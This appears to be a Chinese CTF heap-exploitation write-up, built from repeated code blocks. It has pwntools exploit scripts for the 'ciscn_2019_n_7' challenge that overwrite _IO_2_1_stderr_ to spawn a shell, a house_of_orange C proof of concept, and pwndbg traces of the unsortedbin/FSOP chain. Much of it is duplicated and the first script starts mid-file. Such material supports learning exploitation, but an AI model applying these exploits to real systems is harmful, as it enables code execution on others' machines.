ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
p = process("./ciscn_2019_n_7")
#p = remote("node4.buuoj.cn",29535)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF('./libc-2.23.so')
elf = ELF("./ciscn_2019_n_7")
 
def dbg():
    gdb.attach(p)
    pause()
 
def command(id):
    ru("-> \n")
    sl(str(id))
 
def add(article_len,author_name):
    command(1)
    ru('Input string Length: \n')
    sl(str(article_len))
    ru('Author name:\n')
    s(author_name)
 
def edit(name, content):
    command(2)
    ru("New Author name:\n")
    sl(name)
    ru("New contents:\n")
    s(content)
 
# step1: leak addr
command(666)
puts_addr = int(r(14),16)
leak("puts_addr",puts_addr)
libc_base = puts_addr-libc.sym['puts']
leak("libc_base",libc_base)
 
# IO_list_all=libc_base+libc.sym['_IO_list_all']
# log.info("IO_list_all:"+hex(IO_list_all))
IO_2_1_stderr=libc.sym['_IO_2_1_stderr_']+libc_base
leak("IO_2_1_stderr", IO_2_1_stderr)
system=libc_base+libc.sym['system']
leak("system", system)
#dbg()
 
# step2: allocate a chunk, and overwrite article pointer to _IO_2_1_stderr_
payload = 'a'*8 + p64(IO_2_1_stderr)
add(0xf8,payload) # sizeof(_IO_2_1_stderr_)=0xe0
#dbg()
 
# step3: edit the content of the chunk, that is, edit the content of the _IO_2_1_stderr_
 
#define writebase_offset 0x20   ->0
#define writeptr_offset 0x28    ->1
#define mode_offset 0xc0        ->0
#define vtable_offset 0xd8      ->system&onegadget
 
payload = '/bin/sh'.ljust(32, '\x00') + p64(0) + p64(1)#0x30
payload += p64(0)*4 + p64(system)*4  #p64(libc_base+0x4526a)*4#0x50-0x70
payload = payload.ljust(0xd8, '\x00')
payload += p64(IO_2_1_stderr+0x40)
edit('a\n', payload)
#dbg()
sleep(0.5)
# step4:exit
command('a') # 随便输入一个,让程序退出,触发_IO_flush_all_lockp。(不知道为什么如果进4是拿不到shell的)
 
sleep(0.5)
#p.sendline('exec 1>&0')
 
itr()
from pwn import  *
from LibcSearcher import LibcSearcher
 
context(log_level='debug')#,terminal=['tmux','sp','-h'])
 
def ret2libc(leak, func, path=''):
    if path == '':
        libc = LibcSearcher(func, leak)
        base = leak - libc.dump(func)
        system = base + libc.dump('system')
        binsh = base + libc.dump('str_bin_sh')
    else:
        libc = ELF(path)
        base = leak - libc.sym[func]
        system = base + libc.sym['system']
        binsh = base + libc.search('/bin/sh').next()
 
    return (system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
p = process("./ciscn_2019_n_7")
#p = remote("node4.buuoj.cn",29535)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF('./libc-2.23.so')
elf = ELF("./ciscn_2019_n_7")
 
def dbg():
    gdb.attach(p)
    pause()
 
def command(id):
    ru("-> \n")
    sl(str(id))
 
def add(article_len,author_name):
    command(1)
    ru('Input string Length: \n')
    sl(str(article_len))
    ru('Author name:\n')
    s(author_name)
 
def edit(name, content):
    command(2)
    ru("New Author name:\n")
    sl(name)
    ru("New contents:\n")
    s(content)
 
# step1: leak addr
command(666)
puts_addr = int(r(14),16)
leak("puts_addr",puts_addr)
libc_base = puts_addr-libc.sym['puts']
leak("libc_base",libc_base)
 
# IO_list_all=libc_base+libc.sym['_IO_list_all']
# log.info("IO_list_all:"+hex(IO_list_all))
IO_2_1_stderr=libc.sym['_IO_2_1_stderr_']+libc_base
leak("IO_2_1_stderr", IO_2_1_stderr)
system=libc_base+libc.sym['system']
leak("system", system)
#dbg()
 
# step2: allocate a chunk, and overwrite article pointer to _IO_2_1_stderr_
payload = 'a'*8 + p64(IO_2_1_stderr)
add(0xf8,payload) # sizeof(_IO_2_1_stderr_)=0xe0
#dbg()
 
# step3: edit the content of the chunk, that is, edit the content of the _IO_2_1_stderr_
 
#define writebase_offset 0x20   ->0
#define writeptr_offset 0x28    ->1
#define mode_offset 0xc0        ->0
#define vtable_offset 0xd8      ->system&onegadget
 
payload = '/bin/sh'.ljust(32, '\x00') + p64(0) + p64(1)#0x30
payload += p64(0)*4 + p64(system)*4  #p64(libc_base+0x4526a)*4#0x50-0x70
payload = payload.ljust(0xd8, '\x00')
payload += p64(IO_2_1_stderr+0x40)
edit('a\n', payload)
#dbg()
sleep(0.5)
# step4:exit
command('a') # 随便输入一个,让程序退出,触发_IO_flush_all_lockp。(不知道为什么如果进4是拿不到shell的)
 
sleep(0.5)
#p.sendline('exec 1>&0')
 
itr()
......
from pwn_debug import *
 
context(log_level='debug',arch='amd64') #,terminal=['tmux','sp','-h']) 相对于上面的exp,添加arch
 
......
 
 
# step1: leak addr
command(666)
puts_addr = int(r(14),16)
leak("puts_addr",puts_addr)
libc_base = puts_addr-libc.sym['puts']
leak("libc_base",libc_base)
 
# IO_list_all=libc_base+libc.sym['_IO_list_all']
# log.info("IO_list_all:"+hex(IO_list_all))
IO_2_1_stderr=libc.sym['_IO_2_1_stderr_']+libc_base
leak("IO_2_1_stderr", IO_2_1_stderr)
system=libc_base+libc.sym['system']
leak("system", system)
#dbg()
 
# step2: allocate a chunk, and overwrite article pointer to _IO_2_1_stderr_
payload = 'a'*8 + p64(IO_2_1_stderr)
add(0xf8,payload) # sizeof(_IO_2_1_stderr_)=0xe0
#dbg()
 
# step3: edit the content of the chunk, that is, edit the content of the _IO_2_1_stderr_
 
#define writebase_offset 0x20   ->0
#define writeptr_offset 0x28    ->1
#define mode_offset 0xc0        ->0
#define vtable_offset 0xd8      ->system&onegadget
 
#payload = '/bin/sh'.ljust(32, '\x00') + p64(0) + p64(1)#0x30
#payload += p64(0)*4 + p64(system)*4  #p64(libc_base+0x4526a)*4#0x50-0x70
#payload = payload.ljust(0xd8, '\x00')
#payload += p64(IO_2_1_stderr+0x40)
 
libc.address = libc_base # 除了得到libc基址后分别计算其他地址外,还可以直接将真实地址赋值给libc.address,其他地址只要sym就可以了
fake_file=IO_FILE_plus() # 需要在前面设置 context.arch='amd64',不然默认是i386
fake_file._flags = 0x0068732f6e69622f
fake_file._IO_write_base = 0
fake_file._IO_write_ptr = 1
fake_file._mode = 0
#fake_file._IO_save_end = system
fake_file._IO_save_end = libc.sym["system"]
#fake_file.vtable = IO_2_1_stderr+0x40
fake_file.vtable = libc.sym["_IO_2_1_stderr_"]+0x40
fake_file.show() # 打印fake file的结构
 
#dbg()
#edit('a\n', payload)
edit('a\n',str(fake_file))
#dbg()
sleep(0.5)
# step4:exit
command('a')
 
sleep(0.5)
#p.sendline('exec 1>&0')
 
p.interactive()
......
from pwn_debug import *
 
context(log_level='debug',arch='amd64') #,terminal=['tmux','sp','-h']) 相对于上面的exp,添加arch
 
......
 
 
# step1: leak addr
command(666)
puts_addr = int(r(14),16)
leak("puts_addr",puts_addr)
libc_base = puts_addr-libc.sym['puts']
leak("libc_base",libc_base)
 
# IO_list_all=libc_base+libc.sym['_IO_list_all']
# log.info("IO_list_all:"+hex(IO_list_all))
IO_2_1_stderr=libc.sym['_IO_2_1_stderr_']+libc_base
leak("IO_2_1_stderr", IO_2_1_stderr)
system=libc_base+libc.sym['system']
leak("system", system)
#dbg()
 
# step2: allocate a chunk, and overwrite article pointer to _IO_2_1_stderr_
payload = 'a'*8 + p64(IO_2_1_stderr)
add(0xf8,payload) # sizeof(_IO_2_1_stderr_)=0xe0
#dbg()
 
# step3: edit the content of the chunk, that is, edit the content of the _IO_2_1_stderr_
 
#define writebase_offset 0x20   ->0
#define writeptr_offset 0x28    ->1
#define mode_offset 0xc0        ->0
#define vtable_offset 0xd8      ->system&onegadget
 
#payload = '/bin/sh'.ljust(32, '\x00') + p64(0) + p64(1)#0x30
#payload += p64(0)*4 + p64(system)*4  #p64(libc_base+0x4526a)*4#0x50-0x70
#payload = payload.ljust(0xd8, '\x00')
#payload += p64(IO_2_1_stderr+0x40)
 
libc.address = libc_base # 除了得到libc基址后分别计算其他地址外,还可以直接将真实地址赋值给libc.address,其他地址只要sym就可以了
fake_file=IO_FILE_plus() # 需要在前面设置 context.arch='amd64',不然默认是i386
fake_file._flags = 0x0068732f6e69622f
fake_file._IO_write_base = 0
fake_file._IO_write_ptr = 1
fake_file._mode = 0
#fake_file._IO_save_end = system
fake_file._IO_save_end = libc.sym["system"]
#fake_file.vtable = IO_2_1_stderr+0x40
fake_file.vtable = libc.sym["_IO_2_1_stderr_"]+0x40
fake_file.show() # 打印fake file的结构
 
#dbg()
#edit('a\n', payload)
edit('a\n',str(fake_file))
#dbg()
sleep(0.5)
# step4:exit
command('a')
 
sleep(0.5)
#p.sendline('exec 1>&0')
 
p.interactive()
 
 
// gcc house_of_orange.c -g -o house_of_orange
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int winner ( char *ptr);
int main()
{
    char *p1, *p2;
    size_t io_list_all, *top;
 
    // 首先 malloc 一块 0x400 大小的 chunk
    p1 = malloc(0x400-16);
 
    // 假设存在堆溢出,把 top chunk 的 size 给改为一个比较小的 0xc01
    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;
 
    // 再malloc一个更大的chunk时,因top chunk不够大,所以会把现在的top chunk给free掉,称它为 old top chunk
    p2 = malloc(0x1000);
 
    // 此时top[2]和top[3]是unsortedbin的地址,_IO_list_all和unsortedbin的偏移是0x9a8,计算得到 _IO_list_all的地址
    io_list_all = top[2] + 0x9a8;
 
    // 假设存在堆溢出,设置old top chunk的bk指针为 io_list_all - 0x10,待会进行 unsortedbin attack,把 _IO_list_all 改为 unsortedbin 的地址
    top[3] = io_list_all - 0x10;
 
    // 将字符串/bin/sh放到 old top chunk 的开头,并且把 size 改为 0x61,这里改为 0x61 是因为这个大小属于 smallbin[4],它与 unsortedbin 的偏移,跟 _chain 与 io_list_all 的偏移一样
    memcpy( ( char *) top, "/bin/sh\x00", 8);
    top[1] = 0x61;
    _IO_FILE *fp = (_IO_FILE *) top;
 
    // 为调用_IO_OVERFLOW需满足一些检查,包括:fp->_mode = 0、_IO_write_base 小于 _IO_write_ptr
    fp->_mode = 0;
    fp->_IO_write_base = (char *) 2;
    fp->_IO_write_ptr = (char *) 3;
 
    // 将_IO_OVERFLOW 改为 system 函数的地址
    size_t *jump_table = &top[12];
    jump_table[3] = (size_t) &winner;
 
    // 把 io_list_all 的 vatble 改为我们想让他找的那个虚函数表
    *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;
 
    // 执行malloc中的攻击链
    malloc(10);
    return 0;
}
 
int winner(char *ptr)
{
    system(ptr);
    return 0;
}
// gcc house_of_orange.c -g -o house_of_orange
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int winner ( char *ptr);
int main()
{
    char *p1, *p2;
    size_t io_list_all, *top;
 
    // 首先 malloc 一块 0x400 大小的 chunk
    p1 = malloc(0x400-16);
 
    // 假设存在堆溢出,把 top chunk 的 size 给改为一个比较小的 0xc01
    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;
 
    // 再malloc一个更大的chunk时,因top chunk不够大,所以会把现在的top chunk给free掉,称它为 old top chunk
    p2 = malloc(0x1000);
 
    // 此时top[2]和top[3]是unsortedbin的地址,_IO_list_all和unsortedbin的偏移是0x9a8,计算得到 _IO_list_all的地址
    io_list_all = top[2] + 0x9a8;
 
    // 假设存在堆溢出,设置old top chunk的bk指针为 io_list_all - 0x10,待会进行 unsortedbin attack,把 _IO_list_all 改为 unsortedbin 的地址
    top[3] = io_list_all - 0x10;
 
    // 将字符串/bin/sh放到 old top chunk 的开头,并且把 size 改为 0x61,这里改为 0x61 是因为这个大小属于 smallbin[4],它与 unsortedbin 的偏移,跟 _chain 与 io_list_all 的偏移一样
    memcpy( ( char *) top, "/bin/sh\x00", 8);
    top[1] = 0x61;
    _IO_FILE *fp = (_IO_FILE *) top;
 
    // 为调用_IO_OVERFLOW需满足一些检查,包括:fp->_mode = 0、_IO_write_base 小于 _IO_write_ptr
    fp->_mode = 0;
    fp->_IO_write_base = (char *) 2;
    fp->_IO_write_ptr = (char *) 3;
 
    // 将_IO_OVERFLOW 改为 system 函数的地址
    size_t *jump_table = &top[12];
    jump_table[3] = (size_t) &winner;
 
    // 把 io_list_all 的 vatble 改为我们想让他找的那个虚函数表
    *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;
 
    // 执行malloc中的攻击链
    malloc(10);
    return 0;
}
 
int winner(char *ptr)
{
    system(ptr);
    return 0;
}
// 首先 malloc 一块 0x400 大小的 chunk
p1 = malloc(0x400-16);
// 首先 malloc 一块 0x400 大小的 chunk
p1 = malloc(0x400-16);
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x602000
Size: 0x401
 
Top chunk | PREV_INUSE
Addr: 0x602400
Size: 0x20c01       <--  0x20c00+0x400 = 0x21000 (页对齐(0x1000))
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x602000
Size: 0x401
 
Top chunk | PREV_INUSE
Addr: 0x602400
Size: 0x20c01       <--  0x20c00+0x400 = 0x21000 (页对齐(0x1000))
// 假设存在堆溢出,把 top chunk 的 size 给改为一个比较小的 0xc01
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
// 假设存在堆溢出,把 top chunk 的 size 给改为一个比较小的 0xc01
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
pwndbg> p top
$1 = (size_t *) 0x602400
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x602000
Size: 0x401
 
Top chunk | PREV_INUSE
Addr: 0x602400
Size: 0xc01
 
pwndbg> p top
$2 = (size_t *) 0x602400
 
pwndbg> x/4gx 0x602400
0x602400:    0x0000000000000000    0x0000000000000c01   <-- 0xc00+0x400 = 0x1000 页对齐
0x602410:    0x0000000000000000    0x0000000000000000
pwndbg> p top
$1 = (size_t *) 0x602400
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x602000
Size: 0x401
 
Top chunk | PREV_INUSE
Addr: 0x602400
Size: 0xc01
 
pwndbg> p top
$2 = (size_t *) 0x602400
 
pwndbg> x/4gx 0x602400
0x602400:    0x0000000000000000    0x0000000000000c01   <-- 0xc00+0x400 = 0x1000 页对齐
0x602410:    0x0000000000000000    0x0000000000000000
// 再malloc一个更大的chunk时,因top chunk不够大,所以会把现在的top chunk给free掉,称它为 old top chunk
p2 = malloc(0x1000);
// 再malloc一个更大的chunk时,因top chunk不够大,所以会把现在的top chunk给free掉,称它为 old top chunk
p2 = malloc(0x1000);
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x602400 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602400 
smallbins
empty
largebins
empty
pwndbg> x/4gx (char*)(&main_arena)+88
0x7ffff7dd1b78 <main_arena+88>:    0x0000000000624010    0x0000000000000000
0x7ffff7dd1b88 <main_arena+104>:    0x0000000000602400    0x0000000000602400
pwndbg> x/4gx 0x602400
0x602400:    0x0000000000000000    0x0000000000000be1
0x602410:    0x00007ffff7dd1b78    0x00007ffff7dd1b78   <-- old top chunk的fd和bk都存储unsoredbin地址
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x602400 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602400 
smallbins
empty
largebins
empty
pwndbg> x/4gx (char*)(&main_arena)+88
0x7ffff7dd1b78 <main_arena+88>:    0x0000000000624010    0x0000000000000000
0x7ffff7dd1b88 <main_arena+104>:    0x0000000000602400    0x0000000000602400
pwndbg> x/4gx 0x602400
0x602400:    0x0000000000000000    0x0000000000000be1
0x602410:    0x00007ffff7dd1b78    0x00007ffff7dd1b78   <-- old top chunk的fd和bk都存储unsoredbin地址
// 溢出修改top的size前
      0x602000     0x602400               0x623000 
          |------------|------...-------------|
          |    chunk   | Top  ...             |
          |------------|------...-------------|
      heap start                          heap end
 
// 溢出修改top的size后
      0x602000     0x602400      0x603000   0x623000
          |------------|------..------|--...--|
          |    chunk   | Top  ..      |  ...  |
          |------------|------..------|--...--|
     heap start                    heap end
 
// malloc(0x1000)后
      0x602000     0x602400      0x603000   0x623000  0x624010
          |------------|------..------|--...--|---------|-----..----|
          |    chunk   | Top(free) .. |  ...  | chunk p2| new Top   |
          |------------|------..------|--...--|---------|-----..----|
     heap start                                                 new heap end
// 溢出修改top的size前
      0x602000     0x602400               0x623000 
          |------------|------...-------------|
          |    chunk   | Top  ...             |
          |------------|------...-------------|
      heap start                          heap end
 
// 溢出修改top的size后
      0x602000     0x602400      0x603000   0x623000
          |------------|------..------|--...--|
          |    chunk   | Top  ..      |  ...  |
          |------------|------..------|--...--|
     heap start                    heap end
 
// malloc(0x1000)后
      0x602000     0x602400      0x603000   0x623000  0x624010
          |------------|------..------|--...--|---------|-----..----|
          |    chunk   | Top(free) .. |  ...  | chunk p2| new Top   |
          |------------|------..------|--...--|---------|-----..----|
     heap start                                                 new heap end
// 此时top[2]和top[3]是unsortedbin的地址,_IO_list_all和unsortedbin的偏移是0x9a8,计算得到 _IO_list_all的地址
io_list_all = top[2] + 0x9a8;
// 此时top[2]和top[3]是unsortedbin的地址,_IO_list_all和unsortedbin的偏移是0x9a8,计算得到 _IO_list_all的地址
io_list_all = top[2] + 0x9a8;
pwndbg> p/x io_list_all
$16 = 0x7ffff7dd2520
pwndbg> p/x io_list_all
$16 = 0x7ffff7dd2520
for (;; )
  {
    int iters = 0;
    while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) // 将最后一个chunk(victim)取出
      {
        bck = victim->bk; // bck为倒数第二个chunk
        ......
        /* remove from unsorted list */
        unsorted_chunks (av)->bk = bck; // 若发生攻击,则unsortedbin的bk设置成了改写的victim->bk
        bck->fd = unsorted_chunks (av); // 把倒数第二个chunk的fd设置为unsorted_chunks(av)
        ......
for (;; )
  {
    int iters = 0;
    while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) // 将最后一个chunk(victim)取出
      {
        bck = victim->bk; // bck为倒数第二个chunk
        ......
        /* remove from unsorted list */
        unsorted_chunks (av)->bk = bck; // 若发生攻击,则unsortedbin的bk设置成了改写的victim->bk
        bck->fd = unsorted_chunks (av); // 把倒数第二个chunk的fd设置为unsorted_chunks(av)
        ......
 
// 假设存在堆溢出,设置old top chunk的bk指针为 io_list_all - 0x10,待会进行 unsortedbin attack,把 _IO_list_all 改为 unsortedbin 的地址
top[3] = io_list_all - 0x10;
// 假设存在堆溢出,设置old top chunk的bk指针为 io_list_all - 0x10,待会进行 unsortedbin attack,把 _IO_list_all 改为 unsortedbin 的地址
top[3] = io_list_all - 0x10;
pwndbg> x/4gx top
0x602400:    0x0000000000000000    0x0000000000000be1
0x602410:    0x00007ffff7dd1b78    0x00007ffff7dd2510
pwndbg> x/4gx top
0x602400:    0x0000000000000000    0x0000000000000be1
0x602410:    0x00007ffff7dd1b78    0x00007ffff7dd2510
 
 
 
 
 
 
// 将字符串/bin/sh放到 old top chunk 的开头,并且把 size 改为 0x61,这里改为 0x61 是因为这个大小属于 smallbin[4],它与 unsortedbin 的偏移,跟 _chain 与 io_list_all 的偏移一样
memcpy( ( char *) top, "/bin/sh\x00", 8);
top[1] = 0x61;
_IO_FILE *fp = (_IO_FILE *) top;
 
// 为调用_IO_OVERFLOW需满足一些检查,包括:fp->_mode = 0、_IO_write_base 小于 _IO_write_ptr
fp->_mode = 0;
fp->_IO_write_base = (char *) 2;
fp->_IO_write_ptr = (char *) 3;
 
// 将_IO_OVERFLOW 改为 system 函数的地址
size_t *jump_table = &top[12];
jump_table[3] = (size_t) &winner;
 
// 把 io_list_all 的 vatble 改为我们想让他找的那个虚函数表
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;
// 将字符串/bin/sh放到 old top chunk 的开头,并且把 size 改为 0x61,这里改为 0x61 是因为这个大小属于 smallbin[4],它与 unsortedbin 的偏移,跟 _chain 与 io_list_all 的偏移一样
memcpy( ( char *) top, "/bin/sh\x00", 8);
top[1] = 0x61;
_IO_FILE *fp = (_IO_FILE *) top;
 
// 为调用_IO_OVERFLOW需满足一些检查,包括:fp->_mode = 0、_IO_write_base 小于 _IO_write_ptr
fp->_mode = 0;
fp->_IO_write_base = (char *) 2;
fp->_IO_write_ptr = (char *) 3;
 
// 将_IO_OVERFLOW 改为 system 函数的地址
size_t *jump_table = &top[12];
jump_table[3] = (size_t) &winner;
 
// 把 io_list_all 的 vatble 改为我们想让他找的那个虚函数表
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;
pwndbg> p *((struct _IO_FILE_plus*)0x602400) # 查看布局之后的old top chunk
$18 = {
  file = {
    _flags = 1852400175,                              <-- _flags = "/bin/sh"
    _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
    _IO_read_end = 0x7ffff7dd1b78 <main_arena+88> "\020@b",
    _IO_read_base = 0x7ffff7dd2510 "",
    _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,        <-- fp->_IO_write_ptr > fp->_IO_write_base
    _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,                 <-- top[12] / jump_table[0]
    _chain = 0x0,           <-- jump_table[1]
    _fileno = 0,            <-- jump_table[2]
    _flags2 = 0,            
    _old_offset = 4196051,  <-- jump_table[3]
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x0,
    _offset = 0,
    _codecvt = 0x0,
    _wide_data = 0x0,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,                          <-- fp->_mode <= 0
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x602460                 <-- vtable = &top[12]
}
pwndbg> x/gx 0x602400
0x602400:    0x0068732f6e69622f
pwndbg> x/s 0x602400
0x602400:    "/bin/sh"
pwndbg> p *((struct _IO_FILE_plus*)0x602400) # 查看布局之后的old top chunk
$18 = {
  file = {
    _flags = 1852400175,                              <-- _flags = "/bin/sh"
    _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
    _IO_read_end = 0x7ffff7dd1b78 <main_arena+88> "\020@b",
    _IO_read_base = 0x7ffff7dd2510 "",
    _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,        <-- fp->_IO_write_ptr > fp->_IO_write_base
    _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,                 <-- top[12] / jump_table[0]
    _chain = 0x0,           <-- jump_table[1]
    _fileno = 0,            <-- jump_table[2]
    _flags2 = 0,            
    _old_offset = 4196051,  <-- jump_table[3]
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x0,
    _offset = 0,
    _codecvt = 0x0,
    _wide_data = 0x0,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,                          <-- fp->_mode <= 0
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x602460                 <-- vtable = &top[12]
}
pwndbg> x/gx 0x602400
0x602400:    0x0068732f6e69622f
pwndbg> x/s 0x602400
0x602400:    "/bin/sh"
// 执行malloc中的攻击链:
 
//    malloc中第一次大for循环:old_top_chunk从unsortedbin脱链(unsortedbin attack)
 
// -> old_top_chunk 插入0x60大小对应的smallbin(将main_arena+88为起始地址的IO_FILE结构体中的chain修改为&old_top_chunk)
 
// -> malloc中第二次大for循环:unsortedbin->bk不等于自身(unsortedbin attack攻击结果),而其size为0,检查的时候触发异常,调用malloc_printerr,进而调用_IO_flush_all_lockp,导致fsop。
 
    malloc(10);
// 执行malloc中的攻击链:
 
//    malloc中第一次大for循环:old_top_chunk从unsortedbin脱链(unsortedbin attack)
 
// -> old_top_chunk 插入0x60大小对应的smallbin(将main_arena+88为起始地址的IO_FILE结构体中的chain修改为&old_top_chunk)
 
// -> malloc中第二次大for循环:unsortedbin->bk不等于自身(unsortedbin attack攻击结果),而其size为0,检查的时候触发异常,调用malloc_printerr,进而调用_IO_flush_all_lockp,导致fsop。
 
    malloc(10);
pwndbg> dir /home/lzx/pwn/heap/IO_FILE/glibc-2.23/libio
Source directories searched: /home/lzx/pwn/heap/IO_FILE/glibc-2.23/libio:$cdir:$cwd
 
pwndbg> dir /home/lzx/pwn/heap/IO_FILE/glibc-2.23/malloc
Source directories searched: /home/lzx/pwn/heap/IO_FILE/glibc-2.23/malloc:/home/lzx/pwn/heap/IO_FILE/glibc-2.23/libio:$cdir:$cwd
 
pwndbg> p _IO_list_all
$29 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_>
pwndbg> p &_IO_list_all  # 打印_IO_list_all地址
$30 = (struct _IO_FILE_plus **) 0x7ffff7dd2520 <_IO_list_all>
pwndbg> wa *0x7ffff7dd2520  # 在_IO_list_all设置硬件断点
Hardware watchpoint 2: *0x7ffff7dd2520
pwndbg> c
Continuing.
 
Hardware watchpoint 2: *0x7ffff7dd2520
 
Old value = -136501952
New value = -136504456  # main_arena+88
_int_malloc (av=av@entry=0x7ffff7dd1b20 <main_arena>, bytes=bytes@entry=10) at malloc.c:3527
warning: Source file is more recent than executable.
3527              if (size == nb)
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────
*RAX  0x7fffffffdbdf ◂— 0x0
*RBX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000001
*RCX  0x7c
*RDX  0x7ffff7dd1b28 (main_arena+8) ◂— 0x0
*RDI  0x7fffffffdbe0 ◂— 0x0
*RSI  0x60
 R8   0x623000 ◂— 0x0
 R9   0x0
 R10  0x46c
 R11  0x7ffff7b5afa0 (__memcpy_avx_unaligned) ◂— mov    rax, rdi
*R12  0x2710
*R13  0x7ffff7dd1b78 (main_arena+88) —▸ 0x624010 ◂— 0x0
*R14  0x602400 ◂— 0x68732f6e69622f /* '/bin/sh' */
*R15  0x7ffff7dd2510 ◂— 0x0
*RBP  0x20
*RSP  0x7fffffffdb60 ◂— 0x7fff00000002
*RIP  0x7ffff7a8ee3c (_int_malloc+684) ◂— je     0x7ffff7a8f2e8
──────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────
 0x7ffff7a8ee3c <_int_malloc+684>    je     _int_malloc+1880 <_int_malloc+1880>
 
   0x7ffff7a8ee42 <_int_malloc+690>    cmp    rsi, 0x3ff
   0x7ffff7a8ee49 <_int_malloc+697>    jbe    _int_malloc+536 <_int_malloc+536>
    
   0x7ffff7a8eda8 <_int_malloc+536>    mov    ecx, esi
   0x7ffff7a8edaa <_int_malloc+538>    shr    ecx, 4
   0x7ffff7a8edad <_int_malloc+541>    lea    eax, [rcx + rcx - 2]
   0x7ffff7a8edb1 <_int_malloc+545>    cdqe  
   0x7ffff7a8edb3 <_int_malloc+547>    lea    rax, [rbx + rax*8 + 0x60]
   0x7ffff7a8edb8 <_int_malloc+552>    mov    rdi, qword ptr [rax + 8]
   0x7ffff7a8edbc <_int_malloc+556>    lea    r8, [rax - 8]
   0x7ffff7a8edc0 <_int_malloc+560>    mov    eax, ecx
──────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────
In file: /home/lzx/pwn/heap/IO_FILE/glibc-2.23/malloc/malloc.c
   3522           unsorted_chunks (av)->bk = bck;
   3523           bck->fd = unsorted_chunks (av);
   3524
   3525           /* Take now instead of binning if exact fit */
   3526
 3527           if (size == nb)   <------------------------ unsortedbin attack攻击结束
   3528             {
   3529               set_inuse_bit_at_offset (victim, size);
   3530               if (av != &main_arena)
   3531                 victim->size |= NON_MAIN_ARENA;
   3532               check_malloced_chunk (av, victim, nb);
──────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffdb60 ◂— 0x7fff00000002
01:0008│      0x7fffffffdb68 ◂— 0xa /* '\n' */
02:0010│      0x7fffffffdb70 —▸ 0x7fffffffdbe0 ◂— 0x0
03:0018│      0x7fffffffdb78 —▸ 0x7ffff7b5048b (_dl_addr+443) ◂— add    rsp, 0x28
04:0020│      0x7fffffffdb80 ◂— 0x0
05:0028│      0x7fffffffdb88 —▸ 0x7fffffffdbe8 —▸ 0x7ffff7fd9000 —▸ 0x7ffff7a0d000 ◂— jg     0x7ffff7a0d047
06:0030│      0x7fffffffdb90 ◂— 0xffff800000002421 /* '!$' */
07:0038│      0x7fffffffdb98 —▸ 0x7fffffffdbdf ◂— 0x0
